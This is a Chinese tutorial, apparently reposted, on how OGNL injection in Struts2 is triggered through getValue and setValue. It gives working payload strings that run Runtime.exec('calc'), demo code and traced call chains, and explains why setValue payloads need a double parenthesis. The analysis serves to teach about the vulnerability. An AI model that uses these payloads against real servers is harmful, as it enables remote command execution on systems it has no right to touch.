OGNL漏洞原理全解

0x00 前言

本篇文章作者wdd,本文属i春秋原创奖励计划,未经许可禁止转载

说到OGNL,可能很多师傅都会想到struts2,在Struts2漏洞分析的道路上,可能在学习的过程中浅尝而止,也或许挨着分析了一遍,但是每次都是停到了setValue或者getValue这里,本篇将和大家分享,setValue和getValue中详细的内容,揭开Struts2最后一层纱,看完本篇后,希望可以对整个系列,包括并不限于Struts漏洞系列有一个更深的了解。

知识浅薄,往各位大佬留情。

0x01 漏洞触发方式

关于OGNL的基础知识我们就不啰嗦了,网上一查一大堆,我们主要还是说通过什么方式可以触发,通常我们触发是通过两个方式触发的,一种是setvalue,还有一种是getvalue,所有的漏洞都是通过这两个方法来进行触发的,就类似于jndi漏洞的lookup一样。

市面上的payload主要分为两种,一种是setvalue的payload,还有一种是getvalue的payload,在本篇中,将会详细讲述两种payload的区别,以及为什么payload要这样构造的原因。

"@java.lang.Runtime@getRuntime().exec('calc')"

("@java.lang.Runtime@getRuntime().exec('calc')")(aba)(aba)

0x02 getValue

我们先从相对基础以及简单的getValue开始讲起,首先是Demo

    public static void main(String[] args) throws OgnlException {
        Map context = new HashMap();
        Ognl.getValue("@java.lang.Runtime@getRuntime().exec("calc")", context, "");
    }

然后是完整的调用链:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:491, OgnlRuntime (ognl)
callAppropriateMethod:785, OgnlRuntime (ognl)
callMethod:61, ObjectMethodAccessor (ognl)
callMethod:819, OgnlRuntime (ognl)
getValueBody:75, ASTMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:109, ASTChain (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValue:333, Ognl (ognl)
getValue:378, Ognl (ognl)
getValue:357, Ognl (ognl)
main:10, TheDemo

我们来挨着进行分析,首先来看parseExpression(expression)用于将字符串表达式解析为OGNL对象,可以用于访问和操作对象属性、方法、集合。简单的说就是解析为树,这个对后面的解析有帮助

    public static Object getValue(String expression, Map context, Object root, Class resultType) throws OgnlException {
        return getValue(parseExpression(expression), context, root, resultType);
    }

然后进入getValue:210, SimpleNode (ognl),主要需要理解的是context.getTraceEvaluations()this.evaluateGetValueBody

public final Object getValue(OgnlContext context, Object source) throws OgnlException {
        if (context.getTraceEvaluations()) {
                        ...
            return result;
        } else {
            return this.evaluateGetValueBody(context, source);
        }
    }

context.getTraceEvaluations()这个属性主要是判断是否启用了表达式求值的跟踪功能,默认情况下会启动,所以就会走到else中的this.evaluateGetValueBody

this.evaluateGetValueBody主要用于在SimpleNode类中计算表达式的值,并将其缓存为常量值,这里会进行多次递归调用。

然后我们来详细的看一下evaluateGetValueBody方法

    protected Object evaluateGetValueBody(OgnlContext context, Object source) throws OgnlException {
        context.setCurrentObject(source);
        context.setCurrentNode(this);
        if (!this.constantValueCalculated) {
            this.constantValueCalculated = true;
            this.hasConstantValue = this.isConstant(context);
            if (this.hasConstantValue) {
                this.constantValue = this.getValueBody(context, source);
            }
        }

        return this.hasConstantValue ? this.constantValue : this.getValueBody(context, source);
    }

在这个方法中this.constantValueCalculated需要看上下文来进行计算的常量值,然后最后通过三目运算符触发getValueBody方法

接着进入比较关键的getValueBody,这个方法主要是对已经生成的OGNL树进行遍历,识别和处理

并且在逻辑判断的时候,再次调用getvalue方法进行判断

根据多态的特性,进入getValueBody:75, ASTMethod (ognl)方法对指定的内容进行反射调用,本次反射会拿到java.lang.Runtime@getRuntime()的对象

然后再次进行递归遍历解析,就会去反射触发java.lang.Runtime@getRuntime()对象的exec方法,从而触发漏洞

0x03 setValue

很多师傅可能会见过setValue的payload,后面必须得缀上两个括号,但是为什么一定是两个,我们就来详细看一下。

对比分析,首先我们先来看有两个括号的情况。

demo:

    public static void main(String[] args) throws OgnlException {
        Map context = new HashMap();
        Ognl.setValue("("@java.lang.Runtime@getRuntime().exec('calc')")(a)(b)",context,"");
    }

完整的调用链

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:491, OgnlRuntime (ognl)
callAppropriateMethod:785, OgnlRuntime (ognl)
callMethod:61, ObjectMethodAccessor (ognl)
callMethod:819, OgnlRuntime (ognl)
getValueBody:75, ASTMethod (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:109, ASTChain (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
getValueBody:58, ASTEval (ognl)
evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl)
setValueBody:67, ASTEval (ognl)
evaluateSetValueBody:177, SimpleNode (ognl)
setValue:246, SimpleNode (ognl)
setValue:476, Ognl (ognl)
setValue:511, Ognl (ognl)
setValue:531, Ognl (ognl)
main:10, TheDemo

跟进setValue方法,可以看到还是首先会对传入的内容进行解析和处理,形成对应的node

整个过程和getValue很像,所以这也是我们先分析getValue的原因,重点还是放在setValueBody这里

protected void setValueBody(OgnlContext context, Object target, Object value) throws OgnlException {
        Object expr = this.children[0].getValue(context, target);
        Object previousRoot = context.getRoot();
        target = this.children[1].getValue(context, target);
        Node node = expr instanceof Node ? (Node)expr : (Node)Ognl.parseExpression(expr.toString());

        try {
            context.setRoot(target);
            node.setValue(context, target, value);
        } finally {
            context.setRoot(previousRoot);
        }

    }

需要注意的是this.children[0].getValue(context, target);这里会根据this.children[0]内容不同,跳转不同的getValue方法

这里this.children[0]内容是一个未拆分成树状结构的ongl,所以跟定会进行二次解析,所以就有了后续的解析:

在这里触发了getValue,就和上面的getValue是一样的了,这个就是两个括号触发的方式,现在我们来看一下一个括号会发生什么

还是先来一个demo

    public static void main(String[] args) throws OgnlException {
        Map context = new HashMap();
        Ognl.setValue("("@java.lang.Runtime@getRuntime().exec('calc')")(a)",context,"");
    }

这里直接来看分叉点,分叉点就在于setValueBody方法。

在这里可以看到children已经不再需要二次解析了,所以会直接执行下一步,所以也就没有了后面再次解析触发的过程,这也就是为什么payload中为什么会出现两次括号的原因。所以经常看到的payload都是两个括号,至于括号里的内容,随意写就可以,这里面的内容没有太多的要求。

0x04 End

以上就是关于OGNL表达式漏洞的两种不同的触发方式的详解,有了这两种触发方式的基础,那么不管遇到什么漏洞,都可以代入进去。也算是彻底的搞懂了OGNL漏洞的原理。至少不管是谁问起来都不会慌张。遇到Struts2也能说个1,2,3出来。

以上。

展开阅读全文

页面更新:2024-05-14

标签:递归   漏洞   括号   表达式   反射   原理   对象   两个   方式   方法   内容

1 2 3 4 5

上滑加载更多 ↓
推荐阅读:
友情链接:
更多:

本站资料均由网友自行发布提供,仅用于学习交流。如有版权问题,请与我联系,QQ:4156828  

© CopyRight 2008-2024 All Rights Reserved. Powered By bs178.com 闽ICP备11008920号-3
闽公网安备35020302034844号

Top